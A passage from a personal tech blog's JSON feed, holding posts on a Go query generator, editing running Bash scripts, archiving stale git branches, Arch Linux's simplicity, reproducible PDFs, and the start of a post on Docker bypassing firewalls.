class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eHardDelete\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eUpdateName\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eUpdateEmail\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eUpdateBirthdate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTime\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"nx\"\u003eAuthor\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eClearBirthdate\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis has greatly reduced the need to define these (tbh) \u003cem\u003eboring\u003c/em\u003e queries. In \u003ca href=\"https://github.com/crdx/lighthouse/tree/main/db/queries\" rel=\"noreferrer nofollow noopener\"\u003elighthouse\u003c/a\u003e each table only needs a handful to be defined as most interactions with the database can be done using the generated functions above.\u003c/p\u003e\n\u003cp\u003eFor full documentation and usage examples check out the \u003ca href=\"https://github.com/crdx/starfield#starfield\" rel=\"noreferrer nofollow noopener\"\u003ereadme\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eYou can download starfield as a prebuilt binary from GitHub \u003ca href=\"https://github.com/crdx/starfield/releases\" rel=\"noreferrer nofollow noopener\"\u003ereleases\u003c/a\u003e or compile it from \u003ca href=\"https://github.com/crdx/starfield#starfield\" rel=\"noreferrer nofollow noopener\"\u003esource\u003c/a\u003e.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eIn doing so I pretty much refactored every line of the codebase in some way, and shrunk (and simplified) it significantly, structuring it closer to how I would have if I'd created it from scratch. This was highly educational and prepared both me and the codebase for the upcoming changes.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eSome methods are conditionally generated. The \u003ccode\u003eDelete\u003c/code\u003e method requires a \u003ccode\u003edeleted_at\u003c/code\u003e column, and the \u003ccode\u003eClearX\u003c/code\u003e method is only for nullable columns.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2025-04-01T00:00:00Z"
    },
    {
      "id": "p0JwSTauD7nU0IOpNIRBpw",
      "url": "https://textplain.org/shellsplosion",
      "title": "don't edit running bash scripts",
      "content_html": "\u003cp\u003eWhen a Bash script runs it has some interesting behaviour that doesn't seem to be an issue in other (real) scripting languages. Normally, running a script means the whole file is read into memory before it's executed, so any changes to the script while it's running don't affect the current execution.\u003c/p\u003e\n\u003cp\u003eNot so for Bash, which will continue reading commands from the same byte offset in the modified file, \u003cem\u003eeven if that's now the middle of a command.\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003eOf course, under normal circumstances scripts aren't edited while running so this shouldn't be much of an issue. However, during development it's certainly a possibility when it comes to long-running scripts, or ones that contain commands that pause execution, like \u003ccode\u003eread\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIt's easy to forget to kill a script before editing it, which might leave it in a state where it's waiting for user input of some form. It's just as easy to forget that Bash behaves like this, and upon your return to the terminal window to let the script happily continue from where it left off... wherever that now may be.\u003c/p\u003e\n\u003cp\u003eMost of the time when this happens you'll just get a command not found error (or syntax error) because when chopping a line in two it's not that likely that the second half is valid. But if one day the stars align (think of an unfortunate splitting of \u003ccode\u003econfirm\u003c/code\u003e), you may find yourself running a command that's not only valid, but also destructive. So be careful.\u003c/p\u003e\n",
      "date_published": "2023-04-06T00:00:00Z"
    },
    {
      "id": "bba129HGtmo9mQGs0tbDHA",
      "url": "https://textplain.org/archive-branches",
      "title": "stay tidy by archiving stale branches",
      "content_html": "\u003cp\u003eAny repository that's been worked on for a long enough time by enough developers tends to accumulate stale branches — fixes that were never deployed, features that were scrapped, ideas that never came to fruition, and so on.\u003c/p\u003e\n\u003cp\u003eIt can be tempting to just nuke them all, but there's a chance that someone on the team will realise sooner or later that they \u003cem\u003ereally needed\u003c/em\u003e some old branch, for whatever reason that may be.\u003c/p\u003e\n\u003cp\u003eIn this post we will look at how to combine \u003ccode\u003egit format-patch\u003c/code\u003e with a little bit of shell script to archive all branches in a way that's easy to restore, preserving both the diff and metadata associated with the commits.\u003c/p\u003e\n\u003ch2 id=\"git-format-patch\"\u003egit format-patch\u003c/h2\u003e\u003cp\u003eThe \u003ccode\u003egit format-patch\u003c/code\u003e command is ideal as it creates a patch file for each commit with the diff and the metadata associated with the commit object like the author, date, and message.\u003c/p\u003e\n\u003cp\u003eHere's an example of what it looks like (with the diff omitted).\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eFrom e29bf4f0b9ea54b1b2072015cfd721ae119f3198 Mon Sep 17 00:00:00 2001\nFrom: crdx \u0026lt;...\u0026gt;\nDate: Thu, 25 Jan 2023 20:40:10 +0000\nSubject: [PATCH] foo\n\n---\n foo.md | 71 +++++++++++++++++++++++++++++++++++++++\n 1 file changed, 71 insertions(+)\n create mode 100644 foo\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThis command is used indirectly in mailing list workflows to generate emails containing patches, which are sent to maintainers who apply them on the other end using \u003ccode\u003egit am\u003c/code\u003e. This is exactly how archived branches can be restored later.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecat 0001-foo.patch \u003cspan class=\"p\"\u003e|\u003c/span\u003e git am -3\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"list-the-branches\"\u003elist the branches\u003c/h2\u003e\u003cp\u003eLet's start by getting a list of all remote branch names, excluding the default branch and any leading whitespace.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit branch -r \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep -v \u003cspan class=\"s1\"\u003e\u0026#39;/main$\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e sed \u003cspan class=\"s1\"\u003e\u0026#39;s/^\\s*//\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e(Change \u003ccode\u003emain\u003c/code\u003e\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e if your default branch is instead called \u003ccode\u003emaster\u003c/code\u003e or something else.)\u003c/p\u003e\n\u003cp\u003eYou should carry out a visual check to make sure this list contains only the branches that should be archived. The \u003ccode\u003egrep -v '/main$'\u003c/code\u003e pipeline may match legitimate branch names in some cases, and depending on your workflow it's more than likely that there are some in that list that represent in-progress work that do not need to be archived. If that is the case then add some more \u003ccode\u003egrep -v\u003c/code\u003e calls to the pipeline to strip them out.\u003c/p\u003e\n\u003ch2 id=\"archive-them\"\u003earchive them\u003c/h2\u003e\u003cp\u003eNext we'll run \u003ccode\u003egit format-patch\u003c/code\u003e against each of these remote branches, creating a \u003ccode\u003e.patch\u003c/code\u003e file for each commit on each branch. If a branch comprises multiple commits, then multiple patch files will be created, so ideally each branch's patches should be placed in a directory named after the branch.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eset\u003c/span\u003e -euo pipefail\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003emkdir -p archive\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit branch -r \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep -v \u003cspan class=\"s1\"\u003e\u0026#39;/main$\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e sed \u003cspan class=\"s1\"\u003e\u0026#39;s/^\\s*//\u0026#39;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"nb\"\u003eread\u003c/span\u003e -r REF\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003eDIR\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;archive/\u003c/span\u003e\u003cspan class=\"k\"\u003e$(\u003c/span\u003e\u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$REF\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e|\u003c/span\u003e cut -d/ -f2-\u003cspan class=\"k\"\u003e)\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    mkdir -p \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$DIR\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    git format-patch \u003cspan class=\"s2\"\u003e\u0026#34;main..\u003c/span\u003e\u003cspan class=\"nv\"\u003e$REF\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e -o \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$DIR\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003edone\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e(If you're already using \u003ccode\u003earchive/\u003c/code\u003e for something else, make sure to change it.)\u003c/p\u003e\n\u003cp\u003eThe branch name with the remote prefix removed (e.g., \u003ccode\u003eorigin/foo\u003c/code\u003e becomes \u003ccode\u003efoo\u003c/code\u003e) is used as the output directory to \u003ccode\u003egit format-patch\u003c/code\u003e. It's important to \u003ccode\u003emkdir -p\u003c/code\u003e this directory first as branch names can contain forward slashes, and these will be mapped directly to the filesystem structure. This is how git stores branches within the \u003ccode\u003e.git\u003c/code\u003e folder already so it's safe to rely on that behaviour here, too.\u003c/p\u003e\n\u003cp\u003eNow archive that directory and move it somewhere else for safekeeping, so that when a member of the team inevitably realises they needed something from an old branch they'll be able to access and re-apply the patches with \u003ccode\u003egit am\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etar czf archive.tgz archive/\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"maybe-delete-them\"\u003emaybe delete them\u003c/h2\u003e\u003cp\u003eSince there are probably active branches in the repository that should not be deleted I recommend exercising caution before scripting deletion of the remote branches.\u003c/p\u003e\n\u003cp\u003eIt might be safer to take the list and convert them into a sequence of calls to \u003ccode\u003egit push origin --delete $BRANCH\u003c/code\u003e that you can execute manually.\u003c/p\u003e\n\u003cp\u003eThat said, automating it would just mean adapting the loop above, so go ahead if you're sure.\u003c/p\u003e\n\u003ch2 id=\"clean-up-local-copies\"\u003eclean up local copies\u003c/h2\u003e\u003cp\u003eEach developer will have local copies of the remote branches. These can be cleaned up by running the following command which instructs git to delete the local reference to the non-existent remote branches. This will \u003cstrong\u003enot\u003c/strong\u003e delete a local checkout of a remote branch.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit remote prune origin\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThe default branch has been \u003ccode\u003emain\u003c/code\u003e since git 2.28.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2023-01-26T00:00:00Z"
    },
    {
      "id": "TTGFv1bcz5f6GY9vbAajKQ",
      "url": "https://textplain.org/arch-simple",
      "title": "arch linux is simple, not minimal",
      "content_html": "\u003cp\u003e\u003ca href=\"https://archlinux.org\" rel=\"noreferrer nofollow noopener\"\u003eArch Linux\u003c/a\u003e is a general-purpose rolling distribution of Linux originally released over two decades ago, possibly best known for its distinct lack of automated installer.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e Other qualities often attributed to it are simplicity and minimalism.\u003c/p\u003e\n\u003cp\u003eThe \u003ca href=\"https://wiki.archlinux.org/title/Arch_Linux#Principles\" rel=\"noreferrer nofollow noopener\"\u003efive principles of Arch Linux\u003c/a\u003e do not mention minimalism and, notably, the first principle is simplicity. There are times when simplicity and minimalism are at odds with each other, and in these cases simplicity tends to win.\u003c/p\u003e\n\u003cp\u003eFor this reason I think referring to it as a minimalist distribution is wrong.\u003c/p\u003e\n\u003cp\u003eIt's understandable why people do it: after installation you're left with a \u003ca href=\"https://archlinux.org/packages/core/any/base/\" rel=\"noreferrer nofollow noopener\"\u003ebase system\u003c/a\u003e with nothing installed beyond the basic coreutils, systemd, bash, and a kernel. You must make the decision what software to use. This \u003cem\u003efeels\u003c/em\u003e minimalist because you end up with only the software you want installed, but this makes it more of a \u003cabbr title=\"do it yourself\"\u003eDIY\u003c/abbr\u003e distribution than a minimalist one. It's not inherently minimal: it's only minimal if you don't install many packages.\u003c/p\u003e\n\u003cp\u003eLet's look at three situations where simplicity won in the battle against minimalism.\u003c/p\u003e\n\u003ch2 id=\"no-split-packages\"\u003eNo split packages\u003c/h2\u003e\u003cp\u003eMany distributions split packages up. You'll find separate packages for the binaries, development headers, and debugging symbols. In Arch Linux, software comes down the wire as an all-or-nothing deal. You may never plan on linking against the curl headers, but if you need to use curl on the command line you're going to end up with both on your system whether you like it or not.\u003c/p\u003e\n\u003cp\u003eSimplicity was chosen over minimising disk usage.\u003c/p\u003e\n\u003ch2 id=\"no-delta-package-upgrades\"\u003eNo delta package upgrades\u003c/h2\u003e\u003cp\u003ePackages are downloaded from mirrors with no delta upgrades between versions. (In fairness, not many other distributions do this either.) Implementing this would save disk and bandwidth usage but add complexity to pacman and the mirroring infrastructure. In the past Arch Linux had some support for delta upgrades but it was \u003ca href=\"https://old.reddit.com/r/archlinux/comments/eo8inl/should_delta_upgrades_be_a_thing_again_for_pacman/\" rel=\"noreferrer nofollow noopener\"\u003edropped in pacman 5.2\u003c/a\u003e due to lack of use by mirrors\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e.\u003c/p\u003e\n\u003cp\u003eSimplicity was chosen over minimising disk and bandwidth usage.\u003c/p\u003e\n\u003ch2 id=\"adoption-of-systemd\"\u003eAdoption of systemd\u003c/h2\u003e\u003cp\u003eIn 2012 systemd was adopted and enabled by default. Arch Linux was \u003ca href=\"https://en.wikipedia.org/wiki/Systemd#Adoption\" rel=\"noreferrer nofollow noopener\"\u003eone of the first\u003c/a\u003e to do so, following the likes of Fedora and openSUSE. Regardless of one's opinions about systemd, most can probably agree it didn't contribute towards minimalism. (Though this is debatable when you consider how much software systemd can replace.)\u003c/p\u003e\n\u003cp\u003eSimplicity was chosen over diverging from the direction the ecosystem was moving in and continuing to maintain initscripts.\u003c/p\u003e\n\u003ch2 id=\"so-is-it-minimal\"\u003eSo is it minimal?\u003c/h2\u003e\u003cp\u003eArch Linux can be minimalist if you don't install many packages, but this doesn't make it a minimalist distribution: it makes \u003cem\u003eyou\u003c/em\u003e a minimalist. It's easy to bloat a system up with  thousands of packages\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e making it anything but minimal.\u003c/p\u003e\n\u003cp\u003eWhen it comes to the choice between simplicity and minimalism, the Arch team tend to choose the former. As available computing resources grow, disk space and bandwidth concerns become less of an issue, but individual human capability remains more or less constant. Simpler is often better.\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThis has since changed with the advent of \u003ca href=\"https://wiki.archlinux.org/title/archinstall\" rel=\"noreferrer nofollow noopener\"\u003earchinstall\u003c/a\u003e, a terminal-based guided installer.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eThis is such a requested feature that a recent \u003ca href=\"https://lists.archlinux.org/archives/list/pacman-dev@lists.archlinux.org/thread/HMKVOZUNEZL27YM3VELCYXW6PVWWZX2E/\" rel=\"noreferrer nofollow noopener\"\u003epost on the pacman-dev mailing list\u003c/a\u003e revisits this idea with a suggested solution that doesn't compromise the overarching goal of simplicity, but still reaps some of the benefits.\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eOr just one package group: \u003ccode\u003etexlive-most\u003c/code\u003e\u0026#160;\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n",
      "date_published": "2022-12-15T00:00:00Z"
    },
    {
      "id": "paxg96Gdyy2EijyPX7ABlA",
      "url": "https://textplain.org/reproducible-pdfs",
      "title": "pdfs should be reproducible",
      "content_html": "\u003cp\u003eSome workflows involve creating \u003cabbr title=\"Portable Document Format\"\u003ePDF\u003c/abbr\u003es from arbitrary source data. It can be useful to create a one-to-one relationship between the source and the result, for change tracking and reproducibility. In other words: if the source data doesn't change then the built PDF doesn't change and is byte-for-byte identical.\u003c/p\u003e\n\u003cp\u003eIt's also a good idea to remove metadata for privacy reasons, but that's a separate topic.\u003c/p\u003e\n\u003ch2 id=\"remove-metadata\"\u003eRemove metadata\u003c/h2\u003e\u003cp\u003eThe first step is a general metadata-removal pass, which removes the fields that constantly change like \u003ccode\u003eCreationDate\u003c/code\u003e and \u003ccode\u003eModDate\u003c/code\u003e, with an added bonus of nuking \u003ccode\u003eProducer\u003c/code\u003e, \u003ccode\u003eAuthor\u003c/code\u003e, and even \u003ccode\u003ePTEX.Fullbanner\u003c/code\u003e (added by \u003ccode\u003epdfTeX\u003c/code\u003e).\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eexiftool -overwrite_original -all\u003cspan class=\"o\"\u003e=\u003c/span\u003e file.pdf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eUnfortunately this is not enough. The warning from \u003ccode\u003eexiftool\u003c/code\u003e is worth paying attention to.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eExifTool PDF edits are reversible. Deleted tags may be recovered!\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIn \u003ca href=\"https://exiftool.org/forum/index.php?msg=18367\" rel=\"noreferrer nofollow noopener\"\u003ean old topic on the ExifTool forums\u003c/a\u003e the author outlines that \u003ca href=\"https://exiftool.org/forum/index.php?msg=54629\" rel=\"noreferrer nofollow noopener\"\u003eremoval of the data is harder than expected\u003c/a\u003e and recommends to \u003ca href=\"https://exiftool.org/forum/index.php?msg=54703\" rel=\"noreferrer nofollow noopener\"\u003elinearize the PDF\u003c/a\u003e after \u0026quot;removing\u0026quot; the metadata with ExifTool.\u003c/p\u003e\n\u003ch2 id=\"linearize\"\u003eLinearize\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://www.accusoft.com/resources/blog/what-is-a-linearized-pdf-and-why-are-they-important/\" rel=\"noreferrer nofollow noopener\"\u003eLinearization\u003c/a\u003e is a PDF optimisation. It enables the PDF to be streamed one page at a time by reorganising its internals so that each page is self-contained. (Non-linearized PDFs store information associated with each page across the entire file.)\u003c/p\u003e\n\u003cp\u003eThis has the desired side effect of fully removing metadata as when the optimisation process encounters a metadata tag and then an instruction to hide the tag it knows it can omit it entirely.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eqpdf --linearize --replace-input file.pdf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eUnfortunately, once again, this is not enough. There is one tag remaining that is not considered metadata but is still regenerated each time the PDF is built: \u003ccode\u003eID\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"remove-the-id-tag\"\u003eRemove the ID tag\u003c/h2\u003e\u003cp\u003e\u003ca href=\"https://stackoverflow.com/a/20091203\" rel=\"noreferrer nofollow noopener\"\u003eThe \u003ccode\u003eID\u003c/code\u003e tag\u003c/a\u003e is an optional tag if not using encryption, but the recommendation is that it remain for maximum compatibility. If it can't be removed, then at least it can be set to a static value.\u003c/p\u003e\n\u003cp\u003eEither use something arbitrary like \u003ccode\u003e0\u003c/code\u003es, or generate an ID, for example by \u003cabbr title=\"Message Digest 5\"\u003eMD5\u003c/abbr\u003e hashing a phrase. Bear in mind that this will create a relationship between all generated PDFs if the same one is used everywhere.\u003c/p\u003e\n\u003cp\u003eFor the last transformation nothing more is needed than a simple line of \u003ccode\u003esed\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eID\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"m\"\u003e00000000000000000000000000000000\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esed -r -i \u003cspan class=\"s2\"\u003e\u0026#34;s|/ID \\[\u0026lt;[0-9a-f]+\u0026gt;\u0026lt;[0-9a-f]+\u0026gt;]|/ID [\u0026lt;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$ID\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026gt;\u0026lt;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$ID\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026gt;]|\u0026#34;\u003c/span\u003e file.pdf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIt may look like there is a chance that this replacement matches something in the text contents, but it won't: linearization will already have removed all plain text representations.\u003c/p\u003e\n\u003ch2 id=\"put-it-all-together\"\u003ePut it all together\u003c/h2\u003e\u003cp\u003eCombine the commands above into a post-processing script and run it each time your PDF is generated, and there should be no change to the result if the source data didn't change.\u003c/p\u003e\n",
      "date_published": "2022-10-28T00:00:00Z"
    },
    {
      "id": "Tl2udO0uTDV8oTirMrmC8A",
      "url": "https://textplain.org/docker-firewall",
      "title": "docker will bypass your firewall",
      "content_html": "\u003cp\u003eDocker has networking-related behaviour that in my opinion is at best surprising and at worst dangerous.\u003c/p\u003e\n\u003cp\u003eHere is a minimal but innocent-looking \u003ccode\u003edocker run\u003c/code\u003e line that exposes the external port \u003ccode\u003e8080\u003c/code\u003e to the internal port \u003ccode\u003e80\u003c/code\u003e of the container defined by the \u003ccode\u003enginx\u003c/code\u003e image.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003edocker run -p 8080:80 nginx\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe problem is the implicit meaning of \u003ccode\u003e8080:80\u003c/code\u003e which, when put more explicitly, can be written as \u003ccode\u003e0.0.0.0:8080:80\u003c/code\u003e\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" rel=\"noreferrer nofollow noopener\" class=\"footnote-ref\" 